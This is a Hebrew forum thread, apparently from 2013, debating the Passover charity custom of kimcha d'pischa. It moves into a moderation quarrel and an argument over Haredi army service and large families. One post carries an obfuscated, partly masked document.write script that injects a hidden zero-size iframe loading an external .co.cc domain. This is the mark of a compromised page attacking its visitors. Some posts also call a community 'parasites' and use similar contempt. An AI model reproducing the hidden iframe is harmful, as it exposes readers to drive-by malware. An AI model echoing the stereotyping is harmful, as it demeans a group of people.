| נשלח ב-11/3/2013 15:44 |
 |
| |
קימחא דפיסחא - לקחת או לתת ?
בהלכות פסח כתב הרמ''א שהמנהג ליתן מעות חיטים עבור העניים שבכל עיר וכולם צריכים ליתן בשביל כך ומאז נשתרש הענין הזה של קימחא דפיסחא לתת כסף לעניים או מוצרים בכדי שיוכלו גם כן לחוג את הפסח מתוך שהם בני חורין עד כמה שאפשר .
לכן אני תמיה מניין השתרש המנהג היום אצל רוב האנשים לבקש קימחא דפיסחא ולהשתמש לשם כך בהלכה שנפסקה - הרי ההלכה מדברת על לתת לאחרים ולא לחפש לעצמי איפה אני יכול לקבל .
והיום המנהג הוא לנסות לקבל מכמה שיותר מקומות רק בשביל התחרות בין האישים מי הצליח להשיג מיותר מקומות .
לכן על כל אחד לחפש היכן הוא יכול לתרום מכספו או לפחות מזמנו בשביל לדאוג לצרכי החלשים והעניים שכל כך זקוקים ומצפים לעזרתנו .
|
|
|
|
| נשלח ב-11/3/2013 16:00 |
|
| |
כאן אנחנו רואים מה ההבדל בין ההלכה . לבין מנהג חסידות ויחסי בן אדם לחברוץ המחבר רבי יוסף קארו איש ההלכה היבשה פותח את הסעיף
שולחן ערוך אורח חיים הלכות פסח סימן תכט
סעיף א
(א) שואלין בהלכות פסח קודם לפסח שלשים יום.
וכאן בא מנהג חסידות והופך את ההלכה לנוהג של חסד.
הגה: ומנהג לקנות חטים לחלקן לעניים לצורך פסח. וכל מי שדר בעיר י"ב חודש צריך ליתן לזה .
האנשים המחזרים לקבל כמה שיותר מכל מיני מקומות, כנראה חסר להם. ולא רק חיטים.
ושאלה לעיון- למה רק בפסח יש מצוות קמחא דפסחא לצרכי קניית מצות וכו'?
הרי בסוכות ההוצאות היום, הם מאד מאד גדולות ומשמעותיות. למה אין מעות לסוכות?
|
|
|
|
| נשלח ב-11/3/2013 17:53 |
|
| |
| אייזין כתב: |  | לכן אני תמיה מניין השתרש המנהג היום אצל רוב האנשים לבקש קימחא דפיסחא ולהשתמש לשם כך בהלכה שנפסקה - הרי ההלכה מדברת על לתת לאחרים ולא לחפש לעצמי איפה אני יכול לקבל .
|
|
מבט באשכולך "פעם אחת ולתמיד למה אני לא מתגייס לצה"ל" מספיק בהחלט כדי להבין את התהליך בו מתחילים מהלכה פסוקה (השד יודע מה זה) ומסיימים בחיפוש של איפה אני יכול לא לתת לאחרים ולחפש לעצמי איפה אני יכול לקבל.
אתה שואל לגבי הפרטים של קמחא דפסחא? מדובר בפרטים, לא יותר.
|
|
|
|
| נשלח ב-11/3/2013 18:05 |
|
| |
אייזין
אני מאד ממליץ שלא תפתח עוד אשכולות בלי לשלוח אותם קודם לכן לקבלת אישור.
צר לי, אך אשכולך זה אינו עומד בתקנים של הפורום.
אצביע על מה שטעון תיקון.
שאלת איך היתה התפתחות מהלכה למנהג לנסות להשיג כסף וסיוע עד כדי גאוה בהשגיות כזו.
ובכן.
א. האם זו הלכה? כפי שצוטט כאן, הרמ"א מביא מנהג. יש לברר מה שורשיו, מה מעמדו של המנהג לפי הרמ"א, ואיך הוא פורש לאחר מכן.
מה נכלל בו? את מי הוא מחייב? וכפי שהצביע ירוחם, מדוע דווקא כאן, בפסח? (רמז: ראו את המשנה בפרק אחרון של פסחים, כי העני שאין לו מחוייב לחזר על הפתחים כדי להשיג מצה ויין, ואין צריך לומר שהציבור צריכים לדאוג לו).
ב. האם מה שיש בני אדם שמחזרים על הפתחים ורצים מקרן לקרן, לדבריך, ייחשב ל"מנהג"? האם אתה סבור שזו חובה?
יש להבדיל בין משמעויות נפרדות של המילה "מנהג". לפי שימוש אחד במילה, מדובר במה שהרבה בני אדם נוהגים לעשות. לפי שימוש שני, מה שנוהגים הוא גם חיוב. ברור שחיוב יכול לחול רק אם המנהג הוא בעל ערך. האם אפשר לומר זאת על מה שאתה מתאר?
איני אומר שאי אפשר לדון בשאלותיך. אדרבה, הן מעניינות, אבל לא טרחת לכתבן ולהסבירן כמתחייב. אמנם עשיתי זאת עבורך בתגובה זו, ולכן אפשר להשאיר את האשכול. אבל בבקשה אל תפתח עוד אשכולות בלי לפנות לקבלת אישור ואם יהיה צורך בכך גם תיקוני נוסח.
תודה.
***
שיבולייהו
כמוני כמוך, אני רואה פגם רב בכך שבני אדם מרגילים עצמם לחזר על הפתחים.
אם אינך יודע מה זו "הלכה פסוקה" אתה מוזמן לשאול. הכוונה היא שאמירה הלכתית נחשבת למחייבת. למעשה "הלכה" ו"הלכה פסוקה" זו חזרה עם חיזוק.
הלכה פסוקה אינה אמורה להביא למצב של התנהגות פסולה. אם זה קרה, צריכים האחראים - מנהיגי הדורות, הרבנים - לעיין בדבר ולתקן תקנות או לשנות תקנות קיימות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
|
| נשלח ב-11/3/2013 18:19 |
|
| |
מיימוני היקר !
קודם כל אין בדעתי לשלוח את האשכולות שלי לאישור כי הם אינם זקוקים לאישור שלך והדומים לך .
שנית חוסר הבנתך את כתיבתי הם הבעיה ולא הניסוח שלי .
הרמ''א מביא מנהג אז זה הלכה פסוקה לחלוטין גם אם זה לא מוצא חן בעיניך .
וכל בר דעת מבין ששאלתי המרכזית היא למה היום כולם מחפשים לקבל ולא כל כך מקפידים על עיקר דברי הרמ''א שהמנהג הוא לתת ולדאוג לעניים .
ואחזור שוב מעין ההתחלה - ברוך השם האשכולות שלי זוכים להתעניינות רבה בין המגיבים לכן מוכח שהם מעניינים ומועילים ואם זה לא מוצא חן בעיניך אתה לא חייב להגיב אך אין לך זכות למנוע זאת ממני ומשאר המגיבים .
כמובן שאתה יכול להתנהג בכוח שלך כאן לחסום אותי אך את החלק הזה אני משאיר לך לחשוב עליו מה לעשות .
בתקוה להבנה !
|
|
|
|
| נשלח ב-11/3/2013 18:29 |
|
| |
אייזין
תגובתך לא הצטינה בצניעות יתר.
למרבה הצער יש כאן מנהלים ואתה אורח.
|
|
|
|
| נשלח ב-11/3/2013 18:55 |
|
| |
אייזין
חוששני שיש מקום לתקן בדבריך.
אשכולותיך אינם זקוקים לאישור בתור הבעת דעה, גירוי מחשבתי, רשימה המושכת תשומת לב, ואפילו אפשר להסכים שהם מעוררים תגובות בפורום הזה.
אבל הם כן זקוקים לאישור בפורום כדי להתקיים.
אמנם אין בידי המחק, וגם איני רוצה להפעילו באשכול זה, אך ראה את עצמך מוזהר. כדי לא לבזבז את זמנך על כתיבה לריק של אשכול חדש וכדי לא לבזבז את זמנם של אלו שהמחק בידם, אנא שלח את האשכולות שאתה רוצה לפרסם לבדיקה מראש.
תוכל לשלחם לתיבת מנהלי משנה אם אינך רוצה לשלוח אלי (הותרתי בידי את ההתנדבות הזו לסיוע בעריכת אשכולות). אחרת ... חבל.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-11/3/2013 19:00 |
|
| |
ובנוגע לשאלה הראשונית.
בעקבות הבהרתך, הבנתי אחרת את השאלה. אתה שואל לא רק מדוע רגילים היום לקחת קמחא דפסחא אלא שזה מנוגד לתקנת הרמ"א.
על נושאים אפשריים אחרים, כמו המחוייבות לפסק הרמ"א, התפתחות ההלכה מהמשנה ועד אליו, ועוד, אתה מוותר.
אם כן, חוששני שאיני רואה סתירה בין זה שהרמ"א מחייב לסייע בנתינה של קמחא דפסחא לאחרים לבין זה שיש לוקחים. האם אין המטרה היא לסייע? מי שזקוק - לוקח.
אם יש מקום לשאלה הרי זה כיצד התפתח מצב שבו יש כה הרבה זקוקים. ואני מוסיף עוד שאלה הראויה לדעתי של להישאל: האם לא היה מקום למחסום של בושה במצב של היות נזקק? האם לא היה אדם אמור לקחת אחריות לפרנסתו ופרנסת ביתו? האם המצב בחברה היום, שאותו מתאר אייזין, במקום לשלול עוני ותלות בזולת, אדרבא מציג זאת כמעט כמעלה וזכות?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-11/3/2013 20:23 |
|
| |
| מיימוני כתב: | |
שיבולייהו
כמוני כמוך, אני רואה פגם רב בכך שבני אדם מרגילים עצמם לחזר על הפתחים.
מיימוני,
אינני כלל בטוח שיש בינינו הסכמה בנושא. אני רואה פגם רב בכך שאדם חי במדינת ישראל בלי להשתתף בנטל הבטחוני, ומנהל אורח חיים שבו הוצאותיו עולות על הכנסותיו. אדם העושה כן הוא טפיל ובזוי באופן מהותי. מבחינת הפרטים, יש המחזרים על הפתחים, ויש המצביעים בעד מפלגות סחטניות שנציגיהם דואגים, לדוגמה, שקצבאות הילדים יאפשרו להקים משפחות ענקיות ומופקרות, ללא שום תכנון כלכלי מינימאלי. הטפיל הראשון עדיף על הטפיל השני, שכן טפילותו גלויה יותר.
אם אינך יודע מה זו "הלכה פסוקה" אתה מוזמן לשאול. הכוונה היא שאמירה הלכתית נחשבת למחייבת. למעשה "הלכה" ו"הלכה פסוקה" זו חזרה עם חיזוק.
תודה לך, אבל אני יודע מה זו הלכה פסוקה במובן שאותו הסברת. אינני יודע, ויש לי סיבה לחשוב שגם אתה אינך יודע, מה זו הלכה פסוקה במובן שמדובר מעבר לפורמליזציה של מה שהקונצנזוס של הקבוצה שאתה משתייך אליה החליט באותו רגע (וממילא, אין הרבה מה לשאול לגבי הגיונה). מעבר לכך, אני מזכיר לך שהפניתי את תשומת לבך בעבר לאשכולי "הפירוש הנכון: מדוע לא לומדים תורה כפי שממליצים על סרטים" בה הצבעתי על הבעייתיות של בדיקת השאלה הנ"ל. כמדומני שהתעלמת במתק שפתיים (כפי שתעשה עתה).
הלכה פסוקה אינה אמורה להביא למצב של התנהגות פסולה. אם זה קרה, צריכים האחראים - מנהיגי הדורות, הרבנים - לעיין בדבר ולתקן תקנות או לשנות תקנות קיימות.
בשום פנים ואופן לא. מוסרית, חד וחלק אין להתנהג התנהגות פסולה. במקרה בו אתה נתקל בקריאה להתנהג באופן פסול, עליך לזנוח את מי שאתה מכנה "מנהיגים", ואם יש צורך, את מה שאתה מכנה "הלכה פסוקה".
|
|
|
|
|
|
|
| נשלח ב-11/3/2013 21:15 |
|
| |
שיבוליהו
אתה מעלה נקודות רבות. ויש מה לדון בהן.
אנסה להצביע על מה שבעיני טעון בירור נוסף, ועל מה שבעיני נכון בדבריך.
כתבת:
אני רואה פגם רב בכך שאדם חי במדינת ישראל בלי להשתתף בנטל הבטחוני,
ומנהל אורח חיים שבו הוצאותיו עולות על הכנסותיו.
אדם העושה כן הוא טפיל ובזוי באופן מהותי.
יש הרבה מה להעיר על דברים אלו.
ראשית, יש חרדים שמתגייסים ודווקא לקרבי. אין לי סטטיסטיקות, אבל אני מכיר כאלו.
שנית, אם המשפט שכתבת על הוצאות מעל ההכנסות כאורח חיים נועד להתייחס לחרדים, אזי סבורני שהוא לא מדוייק משתי סיבות.
אחת, רוב הציבור בישראל חי מעבר לאמצעיו. עד כמה שידוע לי, רוב הציבור באוברדראפט.
שנית, דווקא הציבור החרדי מתחנך לחיים של חסכון וצניעות. יש כמובן להבדיל בין הראוי למצוי, אולם כדאי לדעת זאת.
המסקנה שהוצאת כי אדם שחי בצורה כזו הוא "טפיל" כמדומה אמורה לנבוע מהנחות אחרות, כגון אי שותפות בכוח העבודה במשק, תוך הסתמכות על כך שאחרים יתנו לו תקציבים.
אבל קראתי שוב את דבריך ואולי לא הבנתי אותך כראוי קודם. אולי התכוונת לומר שהחרדים אכן אינם כאלו אבל יש בהם צד רע יותר באשר הם:
משתדלים
להקים משפחות ענקיות ומופקרות, ללא שום תכנון כלכלי מינימאלי.
וגם בזה איני מסכים עמך. הרצון במשפחות גדולות אינו נובע מחמת מופקרות כלשהי, אלא מחמת האידיאל לזכות להרבה ילדים. האם זה זר בעיניך, שאדם ירצה הרבה ילדים? זה דבר מאד טבעי, במובן הפשוט ביותר של "טבעי".
גם העדר תיכנון אינו נכון. יש הרבה תיכנונים בחברה החרדית שלנו כיצד להשתדל להתארגן, ושוב, יש השתדלות רבה לשמור על רמת חיים לא יקרה.
אבל די לי באפולוגטיקה. כיון שכתבתי את המילים הקודמות אשאירן. עד כמה שהדברים אינם יכולים למצות. אם רוצים לדון ציבור, אזי צריך לברר כיצד מחלקים ציונים לציבור ועל סמך מה. ודיון כזה צריך לקדום לכל דיון אחר. אם תרצה לדון בכך, בבקשה. אחר כך ניתן לשאול מה העובדות לגבי הציבור החרדי ואז זו שאלה של החלת הכללים על הפרטים.
כלומר, יתכן שעלינו לדון כיצד דנים על ציבור או מגזר.
***
אם תרצה להפנות לאשכול על הסרטים - בבקשה ובשמחה. לא זכור לי כלל אשכול כזה או אפילו המלצה כזו ועמך הסליחה. הבא בחשבון שלעתים התפתח אשכול ואני השתתפתי בתחילתו אבל לא בהמשכו, ולא מחמת זלזול חלילה.
***
כתבת
אינני יודע, ויש לי סיבה לחשוב שגם אתה אינך יודע, מה זו הלכה פסוקה במובן שמדובר מעבר לפורמליזציה של מה שהקונצנזוס של הקבוצה שאתה משתייך אליה החליט באותו רגע (וממילא, אין הרבה מה לשאול לגבי הגיונה)
יש לי כנראה קשיים בריכוז. המשפט הזה ארוך ומורכב מדי ולא הצלחתי להבין מה הוא אומר. גיל כנראה.
בכל אופן, הצלחתי להבין שיש כמה סוגים של "הלכה פסוקה" וצריך לאפיינם ואולי לתת דוגמאות.
האם הכוונה ל:
עקרון הכתוב בספר?
מה שמקובל כמחייב?
עקרון התנהגות בלתי מודע?
בחברה החרדית של היום, המונח "הלכה פסוקה" מתייחס בדרך כלל לעקרון מחייב, והוא נזכר בשיחה כאשר באים להדגיש שכך ראוי להתייחס אליו, כלומר שלא כל כך מכירים בו או לא כל כך מצייתים לו (הראשון הוא לערער על התוקף והשני להכיר בתוקף אבל להשתמט).
***
כתבת
במקרה בו אתה נתקל בקריאה להתנהג באופן פסול, עליך לזנוח את מי שאתה מכנה "מנהיגים", ואם יש צורך, את מה שאתה מכנה "הלכה פסוקה".
חוששני שלא הסברתי יפה על מה אני מדבר. התייחסתי למצב שבו "הלכה פסוקה" כלומר קביעה מן המסורת עקב נסיבות שונות היא אחד הגורמים לשינוי לרעה בהתנהגות הציבורית. יתכן שזה נובע מקלקול בהלכה הראשונית, ויתכן שפעלו גורמים נוספים.
במקרה כזה, כיון שאין מוחקים הלכות, אלא רק מוסיפים עליהן, יש מנגנונים לשינוי ואכן החובה להפעילם מוטלת על המנהיגים, כלומר אלו שנושאים בתפקיד.
אני בהחלט מסכים שאם המנהיגים אינם עושים זאת זו בעיה. ואני גם מסכים שבעיה כזו קיימת ברמה כזו או אחרת. אם לא שמת לב (אני כותב בציניות), זה נושא קבוע גם בפורום וגם בכתיבתי שלי, במגוון של דוגמאות...
אולם אל יישמע מדברי ערעור על ההנהגה, כי זה נושא סוציולוגי ולעתים עובדתי ואפילו רכילאי. אני כן אשמח לעסוק בשאלה של תוספת הלכות פסוקות שתתקן את המצב. וכמובן, אפשר להשפיע לטובה לא רק על ידי פירסום של "הלכה פסוקה" אלא באופנים נוספים. וזה בדיוק מה שכדאי וראוי לחפש וליזום.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-12/3/2013 08:55 |
|
| |
| מיימוני כתב: | |
אני רואה פגם רב בכך שאדם חי במדינת ישראל בלי להשתתף בנטל הבטחוני,
ומנהל אורח חיים שבו הוצאותיו עולות על הכנסותיו.
אדם העושה כן הוא טפיל ובזוי באופן מהותי.
יש הרבה מה להעיר על דברים אלו.
ראשית, יש חרדים שמתגייסים ודווקא לקרבי. אין לי סטטיסטיקות, אבל אני מכיר כאלו.
מיימוני, מחמת ספיק ספיקא שקשה למצא סטטיסטיקות בנושא, וכל הדיונים על השוויון בנטל בחודשים האחרונים (לפחות) נובעים מעצלנות גרידא - גיגלתי את הנושא, ונוכחתי שלא. אם יש צורך, כתוב מה ניסית לגגל ומה עלה בתוצאות, ונמשיך משם.
...
המסקנה שהוצאת כי אדם שחי בצורה כזו הוא "טפיל" כמדומה אמורה לנבוע מהנחות אחרות, כגון אי שותפות בכוח העבודה במשק, תוך הסתמכות על כך שאחרים יתנו לו תקציבים.
צודק - ניסוח לקוי שלי.
אבל קראתי שוב את דבריך ואולי לא הבנתי אותך כראוי קודם. אולי התכוונת לומר שהחרדים אכן אינם כאלו אבל יש בהם צד רע יותר באשר הם:
משתדלים
להקים משפחות ענקיות ומופקרות, ללא שום תכנון כלכלי מינימאלי.
וגם בזה איני מסכים עמך. הרצון במשפחות גדולות אינו נובע מחמת מופקרות כלשהי, אלא מחמת האידיאל לזכות להרבה ילדים. האם זה זר בעיניך, שאדם ירצה הרבה ילדים? זה דבר מאד טבעי, במובן הפשוט ביותר של "טבעי".
בודאי שזה טבעי, אבל בטבע גם יש מנגנוני וויסות טבעיים: אתה מנסה לקחת כמה שיותר משאבים ולהרבות כמה שיותר צאצאים, וגם שאר היצורים מנסים לקחת ממך כמה שיותר משאבים, כולל מה שצריך כדי לקיים את הצאצאים שלך, וכולל הם עצמם. טוב ויפה שהמרנו את הסיפא בתהליך לא טבעי בעליל (שאני בהחלט בעדו), בו אם נולד לך תינוק חלוש, החברה תתגייס מעל ומעבר כדי למנוע מחיידקים (לדוגמה) להתרבות על חשבונו. ההצמדות לכך שהרישא אמורה להוותר טבעית ג"כ, נעה בין הפקרות לחזירות (ג"כ חיות טבעיות, ומשום מה המונח המושאל לא מציין תכונה חיובית, משום מה).
ובכלל, מיימוני, תמהני האם ברצינות לא היית חושב שיש משהו אבסורדי בדו-שיח הבא:
רופא: מטופלי החרד, עליך לאכול פחות אם אין לך היכולת/רצון לבצע פעילות פיזית עניפה.
חרד: האם זר בעיניך שאדם ירצה לאכול הרבה? מדובר במנגנון הישרדות בסיסי של הגוף, בו הוא אוגר אנרגיה זמינה לתקופות בצורת או קור עז. דה דבר מאד בסיסי, במובן הפשוט ביותר של "טבעי". אני אמשיך לטחון קיגל (עוד מוצר טבעי, אגב) כמה שבא לי.
גם העדר תיכנון אינו נכון. יש הרבה תיכנונים בחברה החרדית שלנו כיצד להשתדל להתארגן, ושוב, יש השתדלות רבה לשמור על רמת חיים לא יקרה.
ההתארגנות וההשתדלות הנן במסגרת האפשרי תחת האינווריאנט של ילודה פרועה, לא כתחליף לו.
אבל די לי באפולוגטיקה. כיון שכתבתי את המילים הקודמות אשאירן. עד כמה שהדברים אינם יכולים למצות. אם רוצים לדון ציבור, אזי צריך לברר כיצד מחלקים ציונים לציבור ועל סמך מה. ודיון כזה צריך לקדום לכל דיון אחר. אם תרצה לדון בכך, בבקשה. אחר כך ניתן לשאול מה העובדות לגבי הציבור החרדי ואז זו שאלה של החלת הכללים על הפרטים.
כלומר, יתכן שעלינו לדון כיצד דנים על ציבור או מגזר.
למה לעצור שם? אפשר לדון על איך מחלקים attributes ל power sets ומטריקות לattribute assignments, ולגזור מכך כיצד מחלקים ציונים לציבור ועל סמך מה. אפשר לדון על איך דנים (היו לא מעט בעצכ"ח), ולגזור את שאר הדיונים מכך.
הרבה יותר הגיוני, לדעתי, להתחיל במשהו קונקרטי. כשתמצא נקודות הקבלה מעניינות עם דברים אחרים, אפשר להכליל ולהפשיט. אני חייב לציין שבהקשר דבריך האחרים על "אין לי סטטיסטיקות" בדברים ידועים למדי, יש כאן מדרון חלקלק של בריחה מהנושא.
***
אם תרצה להפנות לאשכול על הסרטים - בבקשה ובשמחה. לא זכור לי כלל אשכול כזה או אפילו המלצה כזו ועמך הסליחה. הבא בחשבון שלעתים התפתח אשכול ואני השתתפתי בתחילתו אבל לא בהמשכו, ולא מחמת זלזול חלילה.
כתבתי לך בפרטי בעבר, מפני שהזכרתי שם איזה ווארט של רבך. גם כאן, מיימוני: לא בא לך להגיב - אין בעיה. אבל אם כן, נסה את החיפוש - לא נראה לי שיש בעיה גדולה שם.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-12/3/2013 10:44 |
|
| |
(נמחק בעבר)
ביי מקסמן, ושיהיה לך כל טוב בנכר.
Aber, denke ich, auf wiederschrieben.
תוקן על ידי xibolaiyu ב- 12/03/2013 10:45:11
|
|
|
|
| נשלח ב-12/3/2013 11:22 |
|
| |
כמה ווארטים בנושא,אבי לימד אותי כי תמיד צריכים לתת- ולא לעשות חשבונות ולחקור, אם מגיע למקבל. אם השאלה לקחת או לתת. אומרת המשנה
שבת פרק א
יצד העני עומד בחוץ ובעל הבית בפנים פשט העני את ידו לפנים ונתן לתוך ידו של בעל הבית
ההסבר הרעיוני-כי בעצם כשהעני מאפשר לבעל הבית לתת לו - בעצם העני נותן לבעל הבית
המילה ונתנו- גם הפוף נקרא ונתנו. .
|
|
|
|
| נשלח ב-13/3/2013 07:32 |
|
| |
שיבולייהו
קשה לי להעתיק את דבריך הראויים לעיון ולתגובה. גם איני יודע איך משתמשים במנגנון הזה של העתקה. וכפי שמשתמשים בו, הוא יוצר המון טקסט וגם כך אני כותב ארוך.
ברשותך אתייחס רק לנקודות ספציפיות.
א. לא גיגלתי אחרי השאלה עד כמה חרדים משתתפים בכוח העבודה במשק וכמה מהם הולכים לצבא. הסתמכתי על נתונים של אזרח תושב ישראל. כמה אנשים אני מכיר. כמה מהם עשו צבא. כמה אנשים עובדים ובמה. כמה אנשים אינם עובדים ויש להם כסף תמיכה מהממשלה, ובאיזה סדר גודל.
ב. אני סבור, כנראה כמוך, שיש פגם בשיטת החינוך החרדי שלנו לפיה יש רושם שעבודה זה חסרון ואיסור. וזאת גם מסיבות פנימיות (עוני קשה של הדור הצעיר ולמעשה גם של הדור המבוגר, וגם רעות פסיכולוגיות שנוצרות עקב חיים מנותקים מכל אחריות לפרנסה). וגם מסיבות חיצוניות (התעלמות מחובתנו לתרום לחברה, אם כי זה נושא מאד לא פשוט ברגע שלא מסתפקים באמירות כוללניות ואינטואיטיביות).
ג. משהו פגום לפי דעתי והרגשתי בביקורת על הקמת משפחות גדולות. סבורני שזה נושא שראוי לדיון באשכול בפני עצמו. האינטואיציות שלי הן שהקמת משפחה גדולה היא דבר נכון. בוודאי שזה רגש שמוכר לרבים מאיתנו. אפתח על כך אשכול בפני עצמו ואלנקק לכאן.
ד. כתבת
פשר לדון על איך מחלקים attributes ל power sets ומטריקות לattribute assignments, ולגזור מכך כיצד מחלקים ציונים לציבור ועל סמך מה. אפשר לדון על איך דנים (היו לא מעט בעצכ"ח), ולגזור את שאר הדיונים מכך.
איני מבין את המונחים שבהם השתמשת או את ההקשר. אבל דבריך עושים רושם רציני ואשמח ללמוד מה הם הדברים האלו שהם כה שימושיים לעיון. אם היה דיון כזהף ואינך רוצה למחזר, אולי תלנקק אליו.
אולי גם כדאי לפתוח אשכול מיוחד שבו תרצה בקצרה ובבהירות מה הם הדברים האלו, והם ישמשו יסוד לכל דיון אחר. האשכול ההוא ישמש רק כדי להכיר את המונחים והכלים הטכניים שבהם אנו דנים על ציבור ויציין לאלו דיסציפלינות מחקריות זה שייך.
ה. לא זכור לי לצערי מכתב ששלחת לי על אשכול בנוגע לסרטים. אני מקוה שאינך מקפיד שאיני זוכר. זה לא נגדך אלא, אולי, לחולשת זכרוני. אם זה קשור למו"ר הרב גדליה ע"ה זה עוד יותר מעניין אותי. אשמח מאד לקבל לינק שוב ואפשר כאן. אבל אם האשכול ישקע בינתים לא אראה את הלינק. אולי כדאי שתשלח לי במייל. (יש לי לייבל בג'ימייל עם שמך כך שאם תשלח לי במייל ששלחת ממנו בעבר אוכל לראות שיש מכתב כזה).
ו. אני יודע כי שמעתי גם מאחרים שזה שאיני מגיב תמיד נראה כהשתמטות. אנא הבא בחשבון שלא תמיד יש לי זמן להגיע לפורום למרות הרצון הטוב בכך. וכן שזכרוני איני מספיק, או שאיני יודע על אפשרות טכנית. המלצת למשל על חיפוש. האם כוונתך לחיפוש בפורום? אני יודע רק על חיפוש בשורת הכותרת אחרי מילים בכותרת. בעבר ניסיתי להגיע לאשכולות דרך חיפוש בגוגל אבל לא הצלחתי בדרך כלל. אולי יש משהו ללמוד שאיני יודע.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-13/3/2013 07:55 |
|
| |
לשיבולייהו וכולם:
הקמת משפחה גדולה: הבעד והנגד
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-14/3/2013 17:33 |
|
| |
קימחא דפיסחא .
ענין של הזדהות ודאגה לחלש ולזולת .
מז ניתן ללמוד לכל מהלך החיים להיטיב עם הזולת .
|
|
|
|
|
